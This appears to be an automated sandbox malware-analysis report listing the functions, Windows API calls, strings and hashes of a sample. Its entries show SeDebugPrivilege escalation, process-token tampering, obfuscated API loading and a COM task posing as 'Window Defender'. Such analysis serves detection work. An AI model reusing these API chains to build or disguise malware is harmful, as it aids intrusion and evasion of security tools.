Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: File$Pointer$Create
String ID:
API String ID: 250661774-0
Opcode ID: 82b3c5280b0bd507a3aecae861bc60727054ae48dc0d722c77e561edd10ffa01
Instruction ID: 3f03bdf37fd6a38f25717f69c0f9ff9d8e5098d3e1a62eb68c95c4f77ce43c1a
Opcode Fuzzy Hash: 82b3c5280b0bd507a3aecae861bc60727054ae48dc0d722c77e561edd10ffa01
Instruction Fuzzy Hash: 79118671504348BEE7118F688C81B9ABBECEF053A4F10896DF595A72C1D2B5AD448B60

Function 100080F7 Relevance: 3.1, APIs: 2, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 10008126

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: dc83b420e704f15fe6e579e30ac7e89c18854140dbf93155163f7ab65fd2bae4
Instruction ID: 8101298076624233a3cdbeec71e89247ed0b0a71e7391f4438e95a873ba5e0a8
Opcode Fuzzy Hash: dc83b420e704f15fe6e579e30ac7e89c18854140dbf93155163f7ab65fd2bae4
Instruction Fuzzy Hash: 54419135D0021B9FEF10DF64C881ADDBBB5FF402E4F214169E568A7189DB30AB868F80

Function 1000BA67 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 1000BA6F

Part of subcall function 1000BA3C: GetModuleHandleW.KERNEL32(100185B8,?,1000BA74,00000000,?,1000B50A,000000FF,0000001E,00000001,00000000,00000000,?,10010024,00000000,00000001,00000000), ref: 1000BA46
Part of subcall function 1000BA3C: GetProcAddress.KERNEL32(00000000,100185A8), ref: 1000BA56

ExitProcess.KERNEL32 ref: 1000BA78

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: abc46e778dca3db5ce812f73b672184a6f01df30641a4562d6bbc8916ecbfb88
Instruction ID: 162589b1cfbc8197e061ab45c9f570fd454d7fd99e35d34150856eb5cae363ab
Opcode Fuzzy Hash: abc46e778dca3db5ce812f73b672184a6f01df30641a4562d6bbc8916ecbfb88
Instruction Fuzzy Hash: FBB09B311001087BDB015F11CC4D8493F59DB816A07104010F40405131DF71EF52D681

Function 1000FC8C Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 1000FCCF

Part of subcall function 1000DE03: __getptd_noexit.LIBCMT ref: 1000DE03

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: a67366d662c5bd092a589687f11339a4dae3e25b87bc1b37a2dbb48db3d3f10c
Instruction ID: 820790628af8f67fec60e8554bed58ffa6e5d28149362cd38101cae01921ba81
Opcode Fuzzy Hash: a67366d662c5bd092a589687f11339a4dae3e25b87bc1b37a2dbb48db3d3f10c
Instruction Fuzzy Hash: 1C01B53A20466A9AF715DF25CD46FAA3795EB803E0F12452EEC16CA998DB70D801D690

Function 10008B1F Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000103,00000140,000000FE,?,1000966A,?,00000004,1000A0E1,?,?,00000334,100043A7,?), ref: 10008B3A

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 6dff356cac04540e37d42075a26474a084f30ec2c99e29ea7e3be951246e1b93
Instruction ID: 9c0ee0907e6220281071f5d2bebb5c40191a5259799ee1439d61a0acd09aa2dd
Opcode Fuzzy Hash: 6dff356cac04540e37d42075a26474a084f30ec2c99e29ea7e3be951246e1b93
Instruction Fuzzy Hash: 6001B176104B468EF321CE24C815BE67BE5FB403D0F104129E6D58B1A6EB34E6588708

Function 10007E24 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FDD,?,00000000,?,?,?,10008134,?,00000140,00000000,00000000), ref: 10007E50

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8be2a931f1bb5c1e663c23c7387cc1016260f232cf004776458d173a503434cf
Instruction ID: 34350c6f383e70cc027b05fb16055a8a606ac2b48fe66e917e85c0dd20e88242
Opcode Fuzzy Hash: 8be2a931f1bb5c1e663c23c7387cc1016260f232cf004776458d173a503434cf
Instruction Fuzzy Hash: 69F0F4B1D171D2AFFBBCCB14C818D5A6697FB5D2D0B1380EAE80C5B129DB148C449A91

Function 10007E83 Relevance: 1.5, APIs: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(FA83E855,?,00000001,00000001,00000000,?,?,1000809D,?,00000404,00000001,00000000,?,00000000), ref: 10007EA0

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: af9ea657525298927027115466b17a386fcd44f64d1ae1840beffc9cbb589a31
Instruction ID: bc471911505afe5ddeec99069f446e433f3d184b9c33b6640fe114757ac42540
Opcode Fuzzy Hash: af9ea657525298927027115466b17a386fcd44f64d1ae1840beffc9cbb589a31
Instruction Fuzzy Hash: C401D172A00689AFE720CF15CC41A9ABBFAFF84344F108468F849C6650E770FD56CB50

Function 1000962C Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 10009633

Part of subcall function 1000BD18: _malloc.LIBCMT ref: 1000BD32

Part of subcall function 1000BD18: std::exception::exception.LIBCMT ref: 1000BD67
Part of subcall function 1000BD18: std::exception::exception.LIBCMT ref: 1000BD81
Part of subcall function 1000BD18: __CxxThrowException@8.LIBCMT ref: 1000BD92

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: std::exception::exception$Exception@8H_prolog3Throw_malloc
String ID:
API String ID: 2311266369-0
Opcode ID: 5753e25dd0dd297e7057df1f677aff36243049de411fb5c0b67d358fa59c00f6
Instruction ID: 83aea00d622067efff6e303ce3a77f75c9490a9d5ef489e520ff7ed0d1f9da8e
Opcode Fuzzy Hash: 5753e25dd0dd297e7057df1f677aff36243049de411fb5c0b67d358fa59c00f6
Instruction Fuzzy Hash: 6FF02B75904621AAFB11DBA4880235D7690EF007E0F664601FC946F199DF73DE408385

Function 1000CFD4 Relevance: 1.5, APIs: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

__flsbuf.LIBCMT ref: 1000CFF5

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __flsbuf
String ID:
API String ID: 2056685748-0
Opcode ID: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction ID: b729ad861916ac82871e571051dc65e3ea38eed4f79beec1f81a0480847796ed
Opcode Fuzzy Hash: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction Fuzzy Hash: 7DE0923000424599E6208B20C001B357BA0DF016A9F3086EED684880EBC73A8447D624

Function 1000AAAE Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1000BD32

Part of subcall function 1000B4DB: __FF_MSGBANNER.LIBCMT ref: 1000B4F4
Part of subcall function 1000B4DB: __NMSG_WRITE.LIBCMT ref: 1000B4FB
Part of subcall function 1000B4DB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B520

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 2048147662bf453ba28ede84f0b6aa2d186b29f79e00af96329dcc402269dd3d
Instruction ID: 3370a0fca9171be9c072298fe2fdf8ee90fd53338a4a8d5a1b227845cd65ac69
Opcode Fuzzy Hash: 2048147662bf453ba28ede84f0b6aa2d186b29f79e00af96329dcc402269dd3d
Instruction Fuzzy Hash: 92C01225104A4D627620EE6A580693ABA9DC7C15E4BA50452AC145658AFD51E81291D1

Function 1000BCBF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 1000BCCB

Part of subcall function 1000BB7F: __lock.LIBCMT ref: 1000BB8D

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __lock_doexit
String ID:
API String ID: 368792745-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: cb01af5de162bc7d7230d978733a3a97ea4e5cebcd40c5c243d81a0372316bf8
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: DCB0923258424C73EA201942AC03F163A0987D1AA0E240020BA0C2D1A5AAA2B9618089

Function 100078BE Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 100078C7

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 87dde8ad4327b46782ad6bdbf04084f7eb4274ee63265715738488d1837d1034
Instruction ID: 7ee2b86f2b8ee6d9c79b5650ccdc4dd333ac2246b0e0bd3a4135bb167b75ac4d
Opcode Fuzzy Hash: 87dde8ad4327b46782ad6bdbf04084f7eb4274ee63265715738488d1837d1034
Instruction Fuzzy Hash: BBB0123300C74C7FEF055E81FC0389A3BEDEB80170B20411AFA1C040616E33B4305648

Non-executed Functions

Function 025118EE Relevance: 48.3, APIs: 24, Strings: 3, Instructions: 1054COMMON

Download Yara Rule

APIs

Part of subcall function 02511776: GetCurrentProcess.KERNEL32(00000028,?), ref: 0251178C
Part of subcall function 02511776: OpenProcessToken.ADVAPI32(00000000), ref: 02511793

Part of subcall function 02511802: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02511825
Part of subcall function 02511802: _memset.LIBCMT ref: 0251183A
Part of subcall function 02511802: Process32FirstW.KERNEL32(00000000,?), ref: 02511854
Part of subcall function 02511802: CloseHandle.KERNEL32(00000000), ref: 0251188E

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 02511931
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 0251194B
CloseHandle.KERNEL32(?), ref: 02511958
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 0251198E
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 02511BD1
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 02511BEF
CloseHandle.KERNEL32(?), ref: 02511BFC
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 02511C35
GetLengthSid.ADVAPI32(?), ref: 02511E21
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 02511E34
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 02511E69
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 02511E87
CloseHandle.KERNEL32(?), ref: 02511E94
GetLengthSid.ADVAPI32(?), ref: 025120B9
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 025120CC
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 02512165
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 02511ECD

Part of subcall function 025118A4: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 025118DC

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 02512101
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 0251211F
CloseHandle.KERNEL32(?), ref: 0251212C
GetLengthSid.ADVAPI32(?), ref: 02512351
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 02512364

Strings

SeDebugPrivilege, xrefs: 02511919, 02511964, 025119AE, 02511BB2, 02511C0B, 02511C4D, 02511E4A, 02511EA3, 02511EE5, 025120E2, 0251213B, 0251217D
, xrefs: 02512347
, xrefs: 02511B78

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: Token$Process$Open$AdjustCloseHandlePrivileges$InformationLength$CreateCurrentFirstProcess32SnapshotToolhelp32_memset
String ID: $ $SeDebugPrivilege
API String ID: 2960649016-2587268233
Opcode ID: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction ID: 1ea0a3da12719197ef27b49ef8f1e8ac78756f9dba19b7019062ef90a5b03f1a
Opcode Fuzzy Hash: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction Fuzzy Hash: 67721F72D0051EBBEF04DBA4DD80DEEBBBEBF88354B188066F615E6140DB34DA458B64

Function 100018EA Relevance: 48.3, APIs: 24, Strings: 3, Instructions: 1054COMMON

Download Yara Rule

APIs

Part of subcall function 10001772: GetCurrentProcess.KERNEL32(00000028,?), ref: 10001788
Part of subcall function 10001772: OpenProcessToken.ADVAPI32(00000000), ref: 1000178F

Part of subcall function 100017FE: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001821
Part of subcall function 100017FE: _memset.LIBCMT ref: 10001836
Part of subcall function 100017FE: Process32FirstW.KERNEL32(00000000,?), ref: 10001850
Part of subcall function 100017FE: CloseHandle.KERNEL32(00000000), ref: 1000188A

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 1000192D
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001947
CloseHandle.KERNEL32(?), ref: 10001954
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 1000198A
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001BCD
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001BEB
CloseHandle.KERNEL32(?), ref: 10001BF8
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10001C31
GetLengthSid.ADVAPI32(?), ref: 10001E1D
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 10001E30
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001E65
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001E83
CloseHandle.KERNEL32(?), ref: 10001E90
GetLengthSid.ADVAPI32(?), ref: 100020B5
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 100020C8
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10002161
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10001EC9

Part of subcall function 100018A0: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 100018D8

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 100020FD
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 1000211B
CloseHandle.KERNEL32(?), ref: 10002128
GetLengthSid.ADVAPI32(?), ref: 1000234D
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 10002360

Strings

, xrefs: 10001B74
SeDebugPrivilege, xrefs: 10001915, 10001960, 100019AA, 10001BAE, 10001C07, 10001C49, 10001E46, 10001E9F, 10001EE1, 100020DE, 10002137, 10002179
, xrefs: 10002343

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: Token$Process$Open$AdjustCloseHandlePrivileges$InformationLength$CreateCurrentFirstProcess32SnapshotToolhelp32_memset
String ID: $ $SeDebugPrivilege
API String ID: 2960649016-2587268233
Opcode ID: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction ID: 42a9d1475f0308ee1bac70f4bf232c4dcbf106b0b4b0b6621210469fa03e080c
Opcode Fuzzy Hash: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction Fuzzy Hash: 5D7228B6E0010EBBEB40DBA4DD80DEEB7FEEF48290B514026F505E7145DB34EA468B65

Function 0251238C Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 398comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 02512396
CoInitializeEx.COMBASE(00000000,00000000), ref: 0251239F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 025123B1
CoCreateInstance.COMBASE(100184F0,00000000,00000001,100182E0,?), ref: 025123CB
VariantInit.OLEAUT32(?), ref: 025123D8
VariantInit.OLEAUT32(?), ref: 025123F8
VariantInit.OLEAUT32(?), ref: 02512415
VariantInit.OLEAUT32(?), ref: 02512432

Part of subcall function 025116CE: __EH_prolog3.LIBCMT ref: 025116D5
Part of subcall function 025116CE: SysAllocString.OLEAUT32(?), ref: 025116FD

_memset.LIBCMT ref: 025126A2
_memset.LIBCMT ref: 025126D5
_mbstowcs.LIBCMT ref: 025126ED
VariantInit.OLEAUT32(?), ref: 025127B2
VariantInit.OLEAUT32(?), ref: 025127CF

Part of subcall function 0251172E: InterlockedDecrement.KERNEL32(?), ref: 02511739
Part of subcall function 0251172E: SysFreeString.OLEAUT32(00000000), ref: 0251174E

CoUninitialize.COMBASE ref: 0251287F

Strings

Window Defender UqdataMicrosoft Corporation, xrefs: 025127E8, 025127EC
atio, xrefs: 02512546
n, xrefs: 0251254D

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: InitVariant$InitializeString_memset$AllocCreateDecrementFreeH_prolog3H_prolog3_InstanceInterlockedSecurityUninitialize_mbstowcs
String ID: Window Defender UqdataMicrosoft Corporation$atio$n
API String ID: 409417733-2587304410
Opcode ID: 81940b457bab7bae2526560bdd5034b35fe789d32fe17d0520502c624e1581f5
Instruction ID: 692358791ae983b36a65666dd4da6ceade96b89eea83b51e7d88e4012bdbe901
Opcode Fuzzy Hash: 81940b457bab7bae2526560bdd5034b35fe789d32fe17d0520502c624e1581f5
Instruction Fuzzy Hash: AAF1F971900629AFDB22DF64CC84A9EB7BEBF45304F0085D5E909AB250C771AF8ACF54

Function 0049D88B Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 234networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 0049DA66
htons.WS2_32(?), ref: 0049DAE9
bind.WS2_32(?,?,?), ref: 0049DB06
getsockname.WS2_32(?,?,?), ref: 0049DB3E
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049DB48
WSAGetLastError.WS2_32(?,?,?,?,?,?), ref: 0049DB77

Strings

Local port: %hu, xrefs: 0049DB9E
Name '%s' family %i resolved to '%s' family %i, xrefs: 0049DA1B
getsockname() failed with errno %d: %s, xrefs: 0049DB64
bind failed with errno %d: %s, xrefs: 0049DB93
Local Interface %s is ip %s using address family %i, xrefs: 0049D96C
Bind to local port %hu failed, trying next, xrefs: 0049DAD0
Couldn't bind to '%s', xrefs: 0049DA7F

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ErrorLasthtons$bindgetsockname
String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s
API String ID: 792490233-2075813467
Opcode ID: e6010e7bb489f6e0b0c2a18fcfd3d8d240465a2d364e1678478cde94cb6ff2e6
Instruction ID: 579b03522ed043d1a8f2caa09300e98fd8083f63a9983723d83da65c0daa509b
Opcode Fuzzy Hash: e6010e7bb489f6e0b0c2a18fcfd3d8d240465a2d364e1678478cde94cb6ff2e6
Instruction Fuzzy Hash: 758194B1D40229AFCF219F51CC89BEA7B78EF14304F1041FAF908A7252D6785E908F99

Function 02512F1A Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?), ref: 02512F72
GetProcAddress.KERNEL32(00000000), ref: 02512F79

Strings

lueA, xrefs: 02512F68
etVa, xrefs: 02512F61
PI32, xrefs: 02512F49
ADVA, xrefs: 02512F42
.dll, xrefs: 02512F50
RegG, xrefs: 02512F5A

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$ADVA$PI32$RegG$etVa$lueA
API String ID: 2574300362-1882813265
Opcode ID: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction ID: 29311b94e47318b1dac9ed2ab3d642ae16d8122fc8ca939bec4cf9bb71478232
Opcode Fuzzy Hash: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction Fuzzy Hash: DB2139B190125DAFEB11CFA4C985EEEBBB8FB08344F104459E901F7240D7709A04CB68

Function 02511776 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 0251178C
OpenProcessToken.ADVAPI32(00000000), ref: 02511793
LookupPrivilegeValueA.ADVAPI32(00000000,1001A640,?), ref: 025117AC
CloseHandle.KERNEL32(?), ref: 025117B9
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 025117EA

Strings

SeDebugPrivilege, xrefs: 025117A5

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3038321057-2896544425
Opcode ID: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction ID: d119319f91a0195bdca498b99c150d11e85a65c5eebf5c7d46b32271564773e2
Opcode Fuzzy Hash: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction Fuzzy Hash: 9711ED70A0021DABFF41DFA1CC89BEEBBB8BF08704F108455E605E6290D774D6499B64

Function 10001772 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 10001788
OpenProcessToken.ADVAPI32(00000000), ref: 1000178F
LookupPrivilegeValueA.ADVAPI32(00000000,1001A640,?), ref: 100017A8
CloseHandle.KERNEL32(?), ref: 100017B5
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 100017E6

Strings

SeDebugPrivilege, xrefs: 100017A1

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3038321057-2896544425
Opcode ID: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction ID: 24d85e4d6f0c771ba93da9dfdb372a7c69b4237a68aca349f58517a069eb42ac
Opcode Fuzzy Hash: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction Fuzzy Hash: BE112D70A04219ABFB40DFE1CC89BEEBBB8FB08744F114019E601E6190D774EA499B60

Function 02511802 Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02511825
_memset.LIBCMT ref: 0251183A
Process32FirstW.KERNEL32(00000000,?), ref: 02511854
lstrcmpiW.KERNEL32(?,?), ref: 02511869
Process32NextW.KERNEL32(00000000,0000022C), ref: 0251187B
CloseHandle.KERNEL32(00000000), ref: 0251188E

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memsetlstrcmpi
String ID:
API String ID: 2129496168-0
Opcode ID: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction ID: 1ad90d6f3244b07fc0a82b59983f2c4873e1e2196d2eeef5b9d5754ad33c8973
Opcode Fuzzy Hash: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction Fuzzy Hash: 42110371A0021CABEB51DFA4DCC8AADB7BCBB48744F0084A9E605D2150DB78DF48CF60

Function 004BEBA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,aI), ref: 004BEC9F
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,aI), ref: 004BECA9
UnhandledExceptionFilter.KERNEL32(0049DE39,?,?,?,?,?,aI), ref: 004BECB6

Strings

aI, xrefs: 004BEBC0
FL, xrefs: 004BEBA9

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

